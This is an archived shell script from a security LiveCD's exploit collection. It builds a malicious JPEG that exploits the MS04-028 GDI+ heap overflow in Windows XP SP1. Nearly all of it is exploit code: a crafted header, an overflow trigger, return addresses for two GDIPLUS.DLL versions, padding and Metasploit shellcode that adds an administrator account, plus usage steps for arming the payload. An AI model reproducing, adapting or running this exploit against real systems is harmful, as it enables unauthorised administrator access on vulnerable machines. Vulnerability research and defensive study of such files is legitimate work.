home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / ms04-028-2.sh < prev    next >
Text File  |  2005-02-12  |  8KB  |  187 lines
  1. // CAN-2004-0200
  2.  
  3. #!/bin/sh
  4. #
  5. # MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group
  6. #
  7. # Tested on:
  8. # WinXP Professional English SP1 - GDIPLUS.DLL version 5.1.3097.0
  9. # WinXP Professional Italian SP1 - GDIPLUS.DLL version 5.1.3101.0
  10. # (SP2 is not vulnerable, don't waste your time trying this exploit on it!)
  11. #
  12. # Usage:
  13. #    first,  replace the "\xCC" = INT3 instruction at beginning of shellcode
  14. #    second, choose a right ret address for GDI+ DLL and WinXP version
  15. #    then,  create crafted JPEG with: sh ms04-028.sh > img.jpg
  16. #
  17. # Created by:
  18. #    Elia Florio
  19. #    (heap overflow study purpose, not for lamerz, not for script-kiddie)
  20. #
  21. # Thanx to:
  22. # jerome.athias
  23. # metasploit.org
  24. # idefense
  25. # full-disclosure list
  26.  
  27. #********************************************
  28. #Standard JPEG header
  29. #********************************************
  30. printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
  31. printf "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
  32. printf "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
  33.  
  34. #********************************************
  35. #Heap Overflow Trigger DWORD - 00 length field (01 works too)
  36. #********************************************
  37. printf "\xFF\xFE\x00\x01"
  38.  
  39.  
  40. #********************************************
  41. #Additional stuff to complete the header
  42. #********************************************
  43. printf  "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
  44.  
  45.  
  46. #********************************************
  47. #Sugg. by jerome.athias
  48. # 1) Opening directly in IE
  49. #Address to overwrite = RtlEnterCriticalSelection() - 4
  50. #Check page 172 of SC Handbook for those of you playing along at home
  51. #********************************************
  52. printf "\xEB\x0F\x26\x32" #control ECX register
  53.  
  54.  
  55. #********************************************
  56. #Address of shellcode
  57. #********************************************
  58. printf "\x42\x42\x42\x42" #control EDX, left these values if u wanna raise an exception and debug in GDI+
  59. #printf "\xDC\xB1\xE7\x70" #70E7B1DC WinXP Professional English SP1 -GDIPLUS.DLL version 5.1.3097.0
  60. #printf "\xDC\xB1\x30\x78" #7830B1DC WinXP Professional Italian SP1 -GDIPLUS.DLL version 5.1.3101.0
  61.  
  62.  
  63. #********************************************
  64. #end_of_jpeg_header
  65. #********************************************
  66. printf "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
  67. #NOP1
  68. printf "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
  69. printf "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
  70.  
  71. #********************************************
  72. #Image junk here...fake JPG
  73. #********************************************
  74. printf
  75. "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";
  76. printf
  77. "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";
  78. printf
  79. "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";
  80. printf
  81. "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";
  82. printf
  83. "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";
  84. printf
  85. "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
  86. printf
  87. "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
  88. printf
  89. "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
  90. printf
  91. "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";
  92. printf
  93. "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";
  94. printf
  95. "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";
  96. printf
  97. "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";
  98. printf
  99. "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";
  100. printf
  101. "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";
  102. printf
  103. "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";
  104. printf
  105. "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";
  106. printf
  107. "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";
  108. printf
  109. "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";
  110. printf
  111. "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";
  112. printf
  113. "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";
  114. printf
  115. "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";
  116. printf
  117. "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";
  118. printf
  119. "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";
  120. printf
  121. "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";
  122. printf
  123. "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";
  124. printf
  125. "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";
  126. printf
  127. "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";
  128. printf
  129. "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";
  130. printf
  131. "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";
  132. printf
  133. "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";
  134. printf
  135. "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";
  136. printf
  137. "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";
  138. printf
  139. "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";
  140. printf
  141. "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";
  142. printf
  143. "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";
  144. printf
  145. "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";
  146.  
  147. #********************************************
  148. #"A" buffer
  149. #********************************************
  150. perl -e 'print "\x41"x1601'; #buffer 1601 x NOP
  151.  
  152. #********************************************
  153. #SHELLCODE AREA
  154. #place shellcode here...
  155. #don't use any "FFD9" bytes, cause it is the marker for end of jpeg image
  156. #********************************************
  157. printf "\xCC\x90\x90\x90"; #replace "CC=INT3" byte with NOP to make it
  158. works!
  159.  
  160. #********************************************
  161. #shellcode: CreateUserX as Administrator (provided by Metasploit, thanx for
  162. your Framework, is great!)
  163. #********************************************
  164. printf "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
  165. printf "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"
  166. printf "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"
  167. printf "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"
  168. printf "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"
  169. printf "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"
  170. printf "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"
  171. printf "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"
  172. printf "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"
  173. printf "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"
  174. printf "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"
  175. printf "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"
  176. printf "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  177. printf "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"
  178. printf "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"
  179. printf "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"
  180. printf "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"
  181. printf "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"
  182. printf "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";
  183.  
  184. #********************************************
  185. #end_of_jpeg
  186. #********************************************
  187. printf "\xFF\xD9";